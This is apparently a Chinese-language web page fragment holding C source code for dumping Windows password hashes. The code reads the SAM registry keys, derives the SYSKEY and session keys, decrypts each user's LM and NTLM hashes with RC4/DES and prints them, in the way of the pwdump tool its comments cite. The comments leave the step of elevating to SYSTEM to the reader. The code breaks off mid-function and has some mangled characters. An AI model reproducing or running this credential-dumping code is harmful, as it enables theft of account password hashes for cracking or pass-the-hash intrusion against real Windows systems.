unsigned char passwordtype[5][100]={"LMPASSWORD","NTPASSWORD","LMPASSWORDHISTORY","NTPASSWORDHISTORY","MISCCREDDATA"};
HKEY hkResult; HKEY hkResult1; //SAM中的键读取先要提升自己成为LOCASYSTEM权限,这里并没有实现,自己增加其中的代码 //读出F键中用于计算 regint=0x400; ss=RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SAM\\SAM\\Domains\\Account",0,KEY_READ,&hkResult); if(ss!=0) printf("no Privilege!\n"); ss=RegQueryValueEx(hkResult,"F", NULL,®type,buf,®int); for(i=regint-1;i>=0;i--) if(buf[i]!=0) break; memcpy(fkey,buf+i-0x2f,0x30); ss=RegOpenKeyEx(HKEY_LOCAL_MACHINE,username,0,KEY_READ,&hkResult); //检查此用户是否存在 if(ss!=ERROR_SUCCESS) return; //读取该用户下的V键中加密的散列信息 //由于目前还未解析V中的结构,我们就直接读最后的那一串,一般都是如此存放在此 //但也不排除例外,那就需要具体分析V中的结构来计算了 regint=0x400; ss=RegOpenKeyEx(HKEY_LOCAL_MACHINE,keyname,0,KEY_READ,&hkResult); ss=RegQueryValueEx(hkResult,"V", NULL,®type,buf,®int); memcpy(ensamnt,buf+regint-0x18,0x10); memcpy(ensamlm,buf+regint-0x2c,0x10);
//计算SYSKEY,W2K系统默认SYSKEY使用,且成为其固定的一个组件 getsyskey(syskey); //利用SYSKEY,F键中的KEY计算sampsecretsessionkey getsampsecretsessionkey(syskey,fkey); memcpy(sampsecretsessionkey,fkey+0x10,0x10); //上面的就是系统引导时完成的工作,这个sampsecretsessionkey固定保存在LSASS的进程空间内 //当认证等或如PWDUMP3工作时候,就是先从系统中直接读sampsecretsessionkey再进行处理
//根据具体用户的相对SID,要恢复散列的散列类型,生成SESSIONKEY,如下面就是针对LM散列的 getsamkey(sampsecretsessionkey,&uid,passwordtype[0],sessionkey); memcpy(lmhash,ensamlm,0x10); //利用SESSIONKEY,SAM中加密的LM散列,相对SID做RC4/DES解密获得真正的散列 getsamhash(lmhash,sessionkey,&uid); printf("HASH::"); for(i=0;i<0x10;i++) printf("%02x",lmhash[i]); printf(":"); //根据具体用户的相对SID,要恢复散列的散列类型,生成SESSIONKEY,如下面就是针对NTLM散列的 getsamkey(sampsecretsessionkey,&uid,passwordtype[1],sessionkey); memcpy(nthash,ensamnt,0x10); //利用SESSIONKEY,SAM中加密的NTLM散列,相对SID做RC4/DES解密获得真正的散列 getsamhash(nthash,sessionkey,&uid); for(i=0;i<0x10;i++) printf("%02x",nthash[i]); printf("\n"); }
void getsamhash(unsigned char * ensaminfo,unsigned char * sessionkey,unsigned char * uid) { //利用SESSIONKEY,SAM中加密的LM散列,相对SID做RC4/DES解密获得真正的散列 unsigned char desecb[128]; unsigned char rc4keylist[0x102]; unsigned char LM[0x10]; unsigned char p1[0xe]; unsigned char p2[0x10]; memcpy(p1,uid,4); memcpy(p1+4,uid,4);
上一篇:2k注册表外壳设置精解
下一篇:简明批处理教程
|